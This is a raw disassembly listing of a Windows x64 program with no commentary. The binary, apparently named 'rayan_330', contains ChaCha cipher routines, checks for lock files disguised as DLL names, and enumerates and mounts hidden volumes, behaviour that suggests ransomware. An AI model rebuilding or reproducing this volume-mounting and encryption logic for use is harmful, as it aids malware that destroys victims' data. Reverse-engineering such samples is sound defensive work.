mov rsi, rax
jne 0x140004660
mov rsi, rax
lea rdx, [rsp + 0x1b8]
cmp rax, rdx
jne 0x1400045c1
jmp 0x140004740
mov rax, rdi
add rax, 0x18
cmp rax, rbx
jne 0x1400046cb
cmp rbx, rdi
jne 0x140004718
jmp 0x1400046e7
lea rax, [rdi + 0x18]
mov rcx, qword [rdi + 0x28]
mov qword [rdi + 0x10], rcx
movdqu xmm0, xmmword [rdi + 0x18]
movdqu xmmword [rdi], xmm0
mov byte [rdi + 0x18], 0
mov word [rdi + 0x1a], 0
add rdi, 0x30
cmp rdi, rbx
mov rdi, rax
je 0x1400046db
test byte [rdi], 1
je 0x1400046a0
mov rcx, qword [rdi + 0x10]
call fcn.14006fbd0
jmp 0x1400046a0
mov rbx, qword [rsi + 0x30]
mov rdi, rax
cmp rbx, rdi
jne 0x140004718
mov qword [rsi + 0x30], rdi
cmp rdi, qword [rsi + 0x38]
je 0x14000472d
lea rdx, [0x140288308]
mov rcx, rdi
call fcn.1400721d0
add rdi, 0x18
mov qword [rsi + 0x30], rdi
jmp 0x140004740
mov rbx, r14
cmp r14, rdi
je 0x1400046e7
lea r14, [rbx - 0x18]
test byte [rbx - 0x18], 1
je 0x140004710
mov rcx, qword [rbx - 8]
call fcn.14006fbd0
jmp 0x140004710
add rsi, 0x28
lea rdx, [0x140288308]
mov rcx, rsi
call fcn.140036ff0
lea rdx, [rsp + 0xf90]
xor ecx, ecx
mov r8d, 0x105
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rcx, [0x140285350]
lea rdx, [rsp + 0xf90]
call fcn.140072c50
lea rcx, [rsp + 0xf90]
call sub.msvcrt.dll_wcslen
mov rsi, rax
movabs rax, 0x7fffffffffffffef
cmp rsi, rax
ja 0x14000acc3
cmp rsi, 0xa
ja 0x1400047a7
lea eax, [rsi + rsi]
mov byte [rsp + 0x100], al
lea rdi, [rsp + 0x102]
jmp 0x1400047df
mov rbx, rsi
or rbx, 7
inc rbx
js 0x14000afd6
lea rcx, [rbx + rbx]
call fcn.14006fb50
mov rdi, rax
mov qword [rsp + 0x110], rax
or rbx, 1
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], rsi
mov r8, rsi
add r8, rsi
lea rdx, [rsp + 0xf90]
mov rcx, rdi
call sub.msvcrt.dll_memcpy
mov word [rdi + rsi*2], 0
mov rcx, qword [0x1401fd088]
movzx eax, byte [rcx]
test al, 1
je 0x140004814
mov rax, qword [rcx + 8]
test rax, rax
jne 0x14000481c
jmp 0x140004843
shr rax, 1
test rax, rax
je 0x140004843
mov rdx, qword [0x1401fd088]
lea rcx, [rsp + 0x100]
call fcn.140072d10
lea rcx, [0x140285350]
mov rdx, qword [0x1401fd088]
call fcn.140072d10
lea rbx, [rsp + 0x102]
movzx r8d, byte [rsp + 0x100]
test r8b, 1
je 0x14000486c
mov rax, qword [rsp + 0x110]
mov r8, qword [rsp + 0x108]
jmp 0x140004872
shr r8, 1
mov rax, rbx
lea rcx, [rax + r8*2]
mov rdx, rax
test r8, r8
je 0x1400048bd
mov r9, rax
mov r8, rcx
mov rdx, r9
nop word [rax + rax]
lea r9, [rdx + 2]
cmp word [rdx], 0x5c
je 0x1400048b0
mov rdx, r9
cmp r9, rcx
jne 0x140004890
jmp 0x1400048ba
mov r8, rdx
cmp r9, rcx
jne 0x140004884
jmp 0x1400048bd
mov rdx, r8
mov r8, rdx
sub r8, rax
sar r8, 1
cmp rdx, rcx
mov r9, 0xffffffffffffffff
cmovne r9, r8
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x590]
lea rdx, [rsp + 0x100]
xor r8d, r8d
call fcn.140072820
test byte [rsp + 0x100], 1
je 0x140004910
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x110], rax
movdqu xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x100], xmm0
movzx ecx, byte [rsp + 0x100]
test cl, 1
sete al
je 0x140004951
mov rcx, qword [rsp + 0x108]
test rcx, rcx
jne 0x140004959
jmp 0x1400049c7
shr rcx, 1
test rcx, rcx
je 0x1400049c7
mov esi, 1
xor edi, edi
jmp 0x140004981
mov rcx, qword [rsp + 0x108]
mov edi, esi
inc esi
cmp rcx, rdi
jbe 0x1400049c7
mov rcx, rbx
test al, 1
jne 0x140004990
mov rcx, qword [rsp + 0x110]
movzx ecx, word [rcx + rdi*2]
call sub.msvcrt.dll_towlower
test byte [rsp + 0x100], 1
mov rcx, rbx
je 0x1400049ae
mov rcx, qword [rsp + 0x110]
mov word [rcx + rdi*2], ax
movzx ecx, byte [rsp + 0x100]
test cl, 1
sete al
jne 0x140004970
shr rcx, 1
jmp 0x140004978
lea rcx, [0x140285338]
lea rdx, [rsp + 0x100]
call fcn.140072d10
lea rdx, [0x1401f55e2]
lea r8, [0x140285338]
lea rcx, [rsp + 0x590]
call fcn.140013d30
test byte [0x140285338], 1
je 0x140004a0b
mov rcx, qword [0x140285348]
call fcn.14006fbd0
mov rax, qword [rsp + 0x5a0]
mov qword [0x140285348], rax
movdqu xmm0, xmmword [rsp + 0x590]
movdqu xmmword [0x140285338], xmm0
mov ecx, 0x20
call fcn.14006fb50
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x590], 0x11
mov qword [rsp + 0x598], 0xf
movups xmm0, xmmword [0x1401f5604]
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [str.netframwork.dll]
movups xmmword [rax], xmm0
mov word [rax + 0x1e], 0
mov byte [rsp + 0x5a8], 0x14
movups xmm0, xmmword [str.mscore.dll]
movups xmmword [rsp + 0x5aa], xmm0
mov dword [rsp + 0x5ba], 0x6c006c
mov word [rsp + 0x5be], 0
mov byte [rsp + 0x5c0], 0x10
movdqu xmm0, xmmword [str.twin.dll]
movdqu xmmword [rsp + 0x5c2], xmm0
mov word [rsp + 0x5d2], 0
mov ecx, 0x20
call fcn.14006fb50
mov qword [rsp + 0x5e8], rax
mov qword [rsp + 0x5d8], 0x11
mov qword [rsp + 0x5e0], 0xb
movdqu xmm0, xmmword [str.Culture.dll]
movdqu xmmword [rax], xmm0
movabs rcx, 0x6c006c0064002e
mov qword [rax + 0xe], rcx
mov word [rax + 0x16], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x410], rax
mov byte [rsp + 0x418], 0
mov ecx, 0x60
call fcn.14006fb50
mov rdi, rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov rcx, rdi
add rcx, 0x60
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x1d0], rdi
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x258], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x268], 0
lea rdx, [rsp + 0x590]
mov rcx, rdi
call fcn.1400721d0
lea rdx, [rsp + 0x5a8]
mov rcx, qword [rsp + 0x1d0]
add rcx, 0x18
mov qword [rsp + 0x1d0], rcx
call fcn.1400721d0
lea rdx, [rsp + 0x5c0]
mov rcx, qword [rsp + 0x1d0]
add rcx, 0x18
mov qword [rsp + 0x1d0], rcx
call fcn.1400721d0
lea rdx, [rsp + 0x5d8]
mov rcx, qword [rsp + 0x1d0]
add rcx, 0x18
mov qword [rsp + 0x1d0], rcx
call fcn.1400721d0
mov rax, qword [rsp + 0x1d0]
add rax, 0x18
mov qword [rsp + 0x78], rax
test byte [rsp + 0x5d8], 1
jne 0x140004f29
test byte [rsp + 0x5c0], 1
jne 0x140004f44
test byte [rsp + 0x5a8], 1
jne 0x140004f5f
test byte [rsp + 0x590], 1
je 0x140004c67
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
mov r15d, 0x10
lea r12, [rsp + 0x104]
xor r13d, r13d
pxor xmm6, xmm6
nop dword [rax]
movzx ebp, byte [0x140285338]
mov eax, ebp
and al, 1
je 0x140004ca0
mov rbp, qword [0x140285340]
jmp 0x140004ca3
shr rbp, 1
lea rsi, [rbp + 1]
movabs rcx, 0x7fffffffffffffef
cmp rsi, rcx
ja 0x14000ac8d
cmp rsi, 0xa
ja 0x140004cf0
movdqa xmmword [rsp + 0x590], xmm6
mov qword [rsp + 0x5a0], 0
add sil, sil
mov byte [rsp + 0x590], sil
xor edi, edi
jmp 0x140004d34
mov r14, rsi
or r14, 7
inc r14
js 0x14000acac
lea rcx, [r14 + r14]
call fcn.14006fb50
mov rdi, rax
or r14, 1
mov qword [rsp + 0x590], r14
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x598], rsi
movzx eax, byte [0x140285338]
and al, 1
mov esi, r14d
test sil, 1
lea rcx, [rsp + 0x592]
cmove rdi, rcx
lea rdx, [0x14028533a]
test al, al
je 0x140004d56
mov rdx, qword [0x140285348]
mov r8, rbp
add r8, rbp
mov rcx, rdi
call sub.msvcrt.dll_memmove
mov dword [rdi + rbp*2], 0x5c
mov rax, qword [rsp + 0x70]
movzx r8d, byte [rax + r15 - 0x10]
test r8b, 1
je 0x140004d90
mov rdx, qword [rax + r15]
mov r8, qword [rax + r15 - 8]
jmp 0x140004d9b
shr r8, 1
lea rdx, [rax + r15]
add rdx, 0xfffffffffffffff2
lea rcx, [rsp + 0x590]
call fcn.140072750
movzx esi, byte [rax]
movzx ebp, byte [rax + 1]
movzx r14d, word [rax + 2]
mov ecx, dword [rax + 0xc]
mov dword [rsp + 0x258], ecx
mov rcx, qword [rax + 4]
mov qword [rsp + 0x250], rcx
mov rdi, qword [rax + 0x10]
movdqu xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x100], 1
je 0x140004df1
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
mov byte [rsp + 0x100], sil
mov byte [rsp + 0x101], bpl
mov word [rsp + 0x102], r14w
mov eax, dword [rsp + 0x258]
mov dword [r12 + 8], eax
mov rax, qword [rsp + 0x250]
mov qword [r12], rax
mov qword [rsp + 0x110], rdi
test byte [rsp + 0x590], 1
je 0x140004e51
mov rcx, qword [rsp + 0x5a0]
call fcn.14006fbd0
movzx esi, byte [rsp + 0x100]
mov rdi, qword [rsp + 0x110]
test sil, 1
cmove rdi, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov rcx, rdi
mov edx, 3
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov qword [0x140227108], rax
cmp rax, 0xffffffffffffffff
jne 0x140004ec2
inc r13
mov rcx, qword [rsp + 0x78]
sub rcx, qword [rsp + 0x70]
sar rcx, 3
movabs rdx, 0xaaaaaaaaaaaaaaab
imul rcx, rdx
add r15, 0x18
cmp rcx, r13
ja 0x140004c80
mov qword [rsp + 0x590], 0
lea r8, [rsp + 0x590]
mov rcx, rax
xor edx, edx
mov r9d, 2
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
lea rcx, [0x1402883d0]
lea rdx, [rsp + 0x100]
call fcn.140072d10
lea rcx, str.________________________________
mov dl, 1
call fcn.140012160
movzx ecx, byte [0x1402883d0]
test cl, 1
sete al
je 0x140004f7f
mov rcx, qword [0x1402883d8]
test rcx, rcx
jne 0x140004f87
jmp 0x140004ff2
mov rcx, qword [rsp + 0x5e8]
call fcn.14006fbd0
test byte [rsp + 0x5c0], 1
je 0x140004c42
mov rcx, qword [rsp + 0x5d0]
call fcn.14006fbd0
test byte [rsp + 0x5a8], 1
je 0x140004c50
mov rcx, qword [rsp + 0x5b8]
call fcn.14006fbd0
test byte [rsp + 0x590], 1
jne 0x140004c5a
jmp 0x140004c67
shr rcx, 1
test rcx, rcx
je 0x140004ff2
mov esi, 1
xor ebx, ebx
lea rdi, [0x1402883d2]
jmp 0x140004fb0
mov rcx, qword [0x1402883d8]
mov ebx, esi
inc esi
cmp rcx, rbx
jbe 0x140004ff2
mov rcx, rdi
test al, 1
jne 0x140004fbe
mov rcx, qword [0x1402883e0]
movzx ecx, word [rcx + rbx*2]
call sub.msvcrt.dll_towlower
test byte [0x1402883d0], 1
mov rcx, rdi
je 0x140004fda
mov rcx, qword [0x1402883e0]
mov word [rcx + rbx*2], ax
movzx ecx, byte [0x1402883d0]
test cl, 1
sete al
jne 0x140004fa0
shr rcx, 1
jmp 0x140004fa7
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x14000503c
mov rax, qword [rsp + 0x78]
mov rcx, rsi
cmp rax, rsi
jne 0x140005018
jmp 0x140005032
mov rax, rdi
cmp rdi, rsi
je 0x14000502d
lea rdi, [rax - 0x18]
test byte [rax - 0x18], 1
je 0x140005010
mov rcx, qword [rax - 8]
call fcn.14006fbd0
jmp 0x140005010
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x78], rsi
call fcn.14006fbd0
test byte [rsp + 0x100], 1
je 0x140005053
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
cmp byte [0x14022711c], 0
jne 0x14000acd0
call sym.rayan_330_4.14_x64.exe_chacha_startup
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x5a0], xmm0
movdqa xmmword [rsp + 0x590], xmm0
mov qword [rsp + 0x5b0], 0
movdqa xmmword [rsp + 0xfb0], xmm0
movdqa xmmword [rsp + 0xfa0], xmm0
movdqa xmmword [rsp + 0xf90], xmm0
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x590]
mov r8d, 0x28
call fcn.14005e7f0
lea rcx, [rsp + 0x980]
lea rsi, [rsp + 0xf90]
mov rdx, rsi
mov r8d, 0x30
call fcn.14005e7f0
lea rdi, [rsp + 0xfb0]
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x250]
lea rdx, [rsp + 0x590]
mov r8d, 0x28
mov r9, rdi
call fcn.14006daa0
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x28
lea rcx, [rsp + 0xf90]
lea r8, [rsp + 0x590]
lea r9, [rsp + 0x100]
mov rdx, rdi
call sym.rayan_330_4.14_x64.exe_chacha
lea rcx, [rsp + 0x100]
lea rdx, [rsp + 0x250]
mov r8d, 0x28
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000ad6b
pxor xmm7, xmm7
movdqa xmmword [rsp + 0x410], xmm7
mov qword [rsp + 0x420], 0
mov rax, qword [rsp + 0x310]
cmp qword [rsp + 0x318], rax
je 0x140005ce0
xor edi, edi
lea r15, [rsp + 0x250]
lea r13, [rsp + 0xf58]
movdqa xmm9, xmmword [0x1401f5410]
movdqa xmm10, xmmword [0x1401f5420]
movdqa xmm11, xmmword [0x1401f5430]
movdqa xmm12, xmmword [0x1401f5440]
movdqa xmm13, xmmword [0x1401f5450]
movdqa xmm14, xmmword [0x1401f5460]
movdqa xmm15, xmmword [0x1401f5470]
movdqa xmm6, xmmword [0x1401f5480]
movdqa xmm8, xmmword [0x1401f5490]
jmp 0x140005221
inc rdi
mov rax, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x318]
sub rcx, rax
sar rcx, 3
movabs rdx, 0xaaaaaaaaaaaaaaab
imul rcx, rdx
cmp rdi, rcx
jae 0x140005ce0
movdqa xmmword [rsp + 0x250], xmm7
mov qword [rsp + 0x260], 0
mov dword [rsp + 0x210], 0
lea rbx, [rdi + rdi*2]
test byte [rax + rbx*8], 1
je 0x140005260
mov rcx, qword [rax + rbx*8 + 0x10]
jmp 0x140005268
lea rcx, [rax + rbx*8]
add rcx, 2
lea rdx, [rsp + 0xf90]
mov r8d, 0x1388
lea r9, [rsp + 0x210]
call qword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
cmp dword [rsp + 0x210], 2
jb 0x140005400
mov rcx, r15
lea rdx, [rsp + 0xf90]
call fcn.140072c50
lea rcx, [rsp + 0x590]
lea rdx, [0x1401f55e2]
mov r8, r15
call fcn.140013d30
test byte [rsp + 0x250], 1
je 0x1400052d0
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x260], rax
movdqu xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x250], xmm0
xor r12d, r12d
nop word cs:[rax + rax]
mov rcx, r13
mov rdx, r15
call fcn.1400721d0
mov rcx, r13
call fcn.140014020
mov ebp, eax
mov eax, dword [rsp + 0x210]
add eax, 0xfffffffe
cmp r12d, eax
setae al
or bpl, al
test byte [rsp + 0xf58], 1
je 0x14000533f
mov rcx, qword [rsp + 0xf68]
call fcn.14006fbd0
test bpl, bpl
jne 0x140005400
mov eax, dword [rsp + 0x210]
add eax, 0xfffffffe
cmp r12d, eax
jae 0x140005300
movsxd rcx, r12d
lea rcx, [rsp + rcx*2]
add rcx, 0xf90
nop word cs:[rax + rax]
cmp word [rcx], 0
je 0x140005387
inc r12d
add rcx, 2
cmp eax, r12d
ja 0x140005370
jmp 0x140005300
inc r12d
movsxd rax, r12d
lea rdx, [rsp + rax*2]
add rdx, 0xf90
mov rcx, r15
call fcn.140072c50
lea rcx, [rsp + 0x590]
lea rdx, [0x1401f55e2]
mov r8, r15
call fcn.140013d30
test byte [rsp + 0x250], 1
je 0x1400053ce
mov rcx, qword [rsp + 0x260]
call fcn.14006fbd0
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x260], rax
movdqu xmm0, xmmword [rsp + 0x590]
movdqa xmmword [rsp + 0x250], xmm0
jmp 0x140005300
movzx ecx, byte [rsp + 0x250]
mov rax, rcx
shr rax, 1
and cl, 1
mov rdx, qword [rsp + 0x258]
mov r8, rdx
cmove r8, rax
test r8, r8
jne 0x1400058cf
mov byte [rsp + 0x17a], 0
lea rcx, [rsp + 0x980]
lea rdx, [rsp + 0x170]
mov r8d, 9
call fcn.14005e7f0
movq xmm0, qword [rsp + 0x170]
movdqa xmm1, xmm0
psrlw xmm1, 1
pand xmm1, xmmword [0x1401f5400]
movdqa xmm2, xmm1
punpckhbw xmm2, xmm7
pmullw xmm2, xmm9
psrlw xmm2, 8
punpcklbw xmm1, xmm7
pmullw xmm1, xmm9
psrlw xmm1, 8
packuswb xmm1, xmm2
psrlw xmm1, 4
pand xmm1, xmm10
movdqa xmm2, xmm1
punpckhbw xmm2, xmm2
pmullw xmm2, xmm11
pand xmm2, xmm12
punpcklbw xmm1, xmm1
pmullw xmm1, xmm11
pand xmm1, xmm12
packuswb xmm1, xmm2
psubb xmm0, xmm1
movdqa xmm1, xmm0
pmaxub xmm1, xmm13
pcmpeqb xmm1, xmm0
movdqa xmm2, xmm0
pmaxub xmm2, xmm14
pcmpeqb xmm2, xmm0
movdqa xmm3, xmm2
pand xmm3, xmm15
pandn xmm2, xmm6
por xmm2, xmm3
pand xmm2, xmm1
pandn xmm1, xmm8
por xmm1, xmm2
paddb xmm1, xmm0
movq qword [rsp + 0x170], xmm1
movzx eax, byte [rsp + 0x178]
mov ecx, eax
shr cl, 1
movzx ecx, cl
imul ecx, ecx, 0x85
shr ecx, 0xc
lea edx, [rcx + rcx]
shl ecx, 6
sub ecx, edx
sub al, cl
cmp al, 0x24
mov ecx, 0x3d
mov r8d, 0x37
cmovb ecx, r8d
movzx edx, byte [rsp + 0x179]
cmp al, 0xa
mov r9d, 0x30
cmovb ecx, r9d
add cl, al
mov byte [rsp + 0x178], cl
mov eax, edx
shr al, 1
movzx eax, al
imul eax, eax, 0x85
shr eax, 0xc
lea ecx, [rax + rax]
shl eax, 6
sub eax, ecx
sub dl, al
cmp dl, 0x24
mov eax, 0x3d
cmovb eax, r8d
cmp dl, 0xa
cmovb eax, r9d
add al, dl
mov byte [rsp + 0x179], al
lea rsi, [rsp + 0x590]
mov rcx, rsi
mov edx, 0x104
call qword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rbp, rax
movabs rax, 0x7fffffffffffffef
cmp rbp, rax
ja 0x14000acb1
cmp rbp, 0xa
ja 0x1400055d6
lea eax, [rbp + rbp]
mov byte [rsp + 0x100], al
lea r12, [rsp + 0x102]
jmp 0x14000560e
mov rsi, rbp
or rsi, 7
inc rsi
js 0x14000acbe
lea rcx, [rsi + rsi]
call fcn.14006fb50
mov r12, rax
mov qword [rsp + 0x110], rax
or rsi, 1
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rbp
mov r8, rbp
add r8, rbp
mov rcx, r12
lea rdx, [rsp + 0x590]
call sub.msvcrt.dll_memcpy
mov word [r12 + rbp*2], 0
mov byte [rsp + 0xa0], 0x12
movq xmm0, qword [rsp + 0x170]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rsp + 0xa2], xmm0
movsx eax, byte [rsp + 0x178]
mov word [rsp + 0xb2], ax
mov word [rsp + 0xb4], 0
lea rcx, [rsp + 0xa0]
xor edx, edx
lea r8, str.debug_
call fcn.140072900
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x1e0], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x1d0], xmm0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], 0
lea rcx, [rsp + 0x1d0]
lea rdx, [0x1401f55f2]
call fcn.140072e90
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x70], xmm0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], 0
movzx r8d, byte [rsp + 0x70]
test r8b, 1
je 0x1400056f4
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x78]
jmp 0x1400056fc
shr r8, 1
lea rdx, [rsp + 0x72]
lea rcx, [rsp + 0x100]
call fcn.140072750
test byte [rsp + 0x70], 1
jne 0x140005782
test byte [rsp + 0x1d0], 1
jne 0x140005799
test byte [rsp + 0xa0], 1
je 0x140005731
mov rcx, qword [rsp + 0xb0]
call fcn.14006fbd0
test byte [rsp + 0x100], 1
lea rcx, [rsp + 0x102]
je 0x14000574b
mov rcx, qword [rsp + 0x110]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test byte [rsp + 0x100], 1
lea rcx, [rsp + 0x102]
je 0x14000576d
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x310]
test byte [rax + rbx*8], 1
je 0x1400057b9
mov rdx, qword [rax + rbx*8 + 0x10]
jmp 0x1400057c1
mov rcx, qword [rsp + 0x80]
call fcn.14006fbd0
test byte [rsp + 0x1d0], 1
je 0x14000571a
mov rcx, qword [rsp + 0x1e0]
call fcn.14006fbd0
test byte [rsp + 0xa0], 1
jne 0x140005724
jmp 0x140005731
lea rdx, [rax + rbx*8]
add rdx, 2
call qword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
mov ebp, eax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movzx ecx, byte [rsp + 0x100]
test cl, 1
je 0x1400057e6
mov rax, qword [rsp + 0x108]
jmp 0x1400057ec
mov rax, rcx
shr rax, 1
lea rdx, [rax - 1]
test cl, 1
jne 0x140005808
add dl, dl
mov byte [rsp + 0x100], dl
lea rcx, [rsp + 0x102]
jmp 0x140005818
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x108], rdx
mov word [rcx + rax*2 - 2], 0
test ebp, ebp
je 0x140005880
lea rcx, [rsp + 0xf08]
lea rdx, [rsp + 0x100]
call fcn.1400721d0
lea rcx, [rsp + 0xf08]
call fcn.140014020
mov ebp, eax
test byte [rsp + 0xf08], 1
je 0x14000585e
mov rcx, qword [rsp + 0xf18]
call fcn.14006fbd0
test bpl, bpl
je 0x140005880
mov rcx, r15
lea rdx, [rsp + 0x100]
call fcn.140072d10
jmp 0x1400058a0
test byte [rsp + 0x100], 1
lea rcx, [rsp + 0x102]
je 0x14000589a
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
test byte [rsp + 0x100], 1
je 0x1400058b7
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
movzx eax, byte [rsp + 0x250]
mov rdx, qword [rsp + 0x258]
mov ecx, eax
and cl, 1
shr rax, 1
test cl, cl
mov r8, rdx
cmove r8, rax
mov r9, qword [rsp + 0x260]
mov r10, r9
lea r11, [rsp + 0x252]
cmove r10, r11
cmp word [r10 + r8*2 - 2], 0x5c
jne 0x14000593b
lea rax, [r8 - 1]
test cl, cl
je 0x14000590a
mov qword [rsp + 0x258], rax
jmp 0x14000591b
add al, al
mov byte [rsp + 0x250], al
lea r9, [rsp + 0x252]
mov word [r9 + r8*2 - 2], 0
movzx eax, byte [rsp + 0x250]
mov rdx, qword [rsp + 0x258]
mov ecx, eax
and cl, 1
shr rax, 1
test cl, cl
cmovne rax, rdx
test rax, rax
je 0x140005cc0
lea rdx, [rbx*8]
add rdx, qword [rsp + 0x310]
lea rcx, [rsp + 0x100]
call fcn.1400721d0
mov rax, qword [rsp + 0x310]
test byte [rax + rbx*8], 1
je 0x140005980
mov rcx, qword [rax + rbx*8 + 0x10]
jmp 0x140005988
lea rcx, [rax + rbx*8]
add rcx, 2
call qword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
mov bl, 1
cmp eax, 5
je 0x140005bc0
movzx ecx, byte [rsp + 0x100]
test cl, 1
je 0x1400059b0
mov rax, qword [rsp + 0x108]
jmp 0x1400059b6
mov rax, rcx
shr rax, 1
lea rdx, [rax - 1]
test cl, 1
jne 0x1400059d5
add dl, dl
mov byte [rsp + 0x100], dl
lea rdx, [rsp + 0x102]
mov rcx, rdx
jmp 0x1400059ed
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x108], rdx
lea rdx, [rsp + 0x102]
mov word [rcx + rax*2 - 2], 0
test byte [rsp + 0x100], 1
mov rcx, rdx
je 0x140005a09
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov edx, 0x80
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140005b74
mov rax, qword [0x1401fd048]
mov rax, qword [rax]
mov dword [rsp + 0x20], 4
mov rcx, rbp
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x1d0]
mov r9d, 8
call rax
test eax, eax
jne 0x140005a7f
test byte [rsp + 0x1d4], 4
jne 0x140005b78
mov dword [rsp + 0xa0], 0
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x590]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x20
mov rcx, rbp
mov edx, 0x560000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_DeviceIoControl]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov r12d, dword [rsp + 0x598]
mov rax, qword [rsp + 0x1b8]
lea rbp, [rsp + 0x1b8]
jmp 0x140005af4
mov rax, qword [rbp]
mov r14, rbp
test rax, rax
je 0x140005b16
mov rbp, rax
mov eax, dword [rax + 0x20]
cmp r12d, eax
jl 0x140005af0
jle 0x140005b83
mov rax, qword [rbp + 8]
test rax, rax
jne 0x140005afc
lea r14, [rbp + 8]
mov ecx, 0x40
call fcn.14006fb50
mov rsi, rax
mov dword [rax + 0x20], r12d
movdqu xmmword [rax + 0x28], xmm7
mov qword [rax + 0x38], 0
movdqu xmmword [rax], xmm7
mov qword [rax + 0x10], rbp
mov qword [r14], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rdx, rsi
test rax, rax
je 0x140005b5d
mov qword [rsp + 0x1b0], rax
mov rdx, qword [r14]
mov rcx, qword [rsp + 0x1b8]
call fcn.140036e90
inc qword [rsp + 0x1c0]
jmp 0x140005b86
xor ebx, ebx
jmp 0x140005bc0
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x140005bc0
mov rsi, rbp
mov r12, qword [rsi + 0x30]
cmp r12, qword [rsi + 0x38]
je 0x140005ba5
mov rcx, r12
mov rdx, r15
call fcn.1400721d0
add r12, 0x18
mov qword [rsi + 0x30], r12
jmp 0x140005bc0
add rsi, 0x28
mov rcx, rsi
mov rdx, r15
call fcn.140036ff0
nop word cs:[rax + rax]
test byte [rsp + 0x100], 1
je 0x140005bd7
mov rcx, qword [rsp + 0x110]
call fcn.14006fbd0
test bl, bl
jne 0x140005cc0
mov rax, qword [rsp + 0x1b8]
lea rsi, [rsp + 0x1b8]
jmp 0x140005c03
mov rax, qword [rsi]
mov rbx, rsi
test rax, rax
je 0x140005c26
mov rsi, rax
mov eax, dword [rax + 0x20]
cmp dword [rsp + 0x6c], eax
jl 0x140005c00
jle 0x140005c88
mov rax, qword [rsi + 8]
test rax, rax
jne 0x140005c0b
lea rbx, [rsi + 8]
mov ecx, 0x40
call fcn.14006fb50
mov rbp, rax
mov eax, dword [rsp + 0x6c]
mov dword [rbp + 0x20], eax
movdqu xmmword [rbp + 0x28], xmm7
mov qword [rbp + 0x38], 0
movdqu xmmword [rbp], xmm7
mov qword [rbp + 0x10], rsi
mov qword [rbx], rbp
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rdx, rbp
test rax, rax
je 0x140005c71
mov qword [rsp + 0x1b0], rax
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x1b8]
call fcn.140036e90
inc qword [rsp + 0x1c0]
jmp 0x140005c8b
mov rbp, rsi
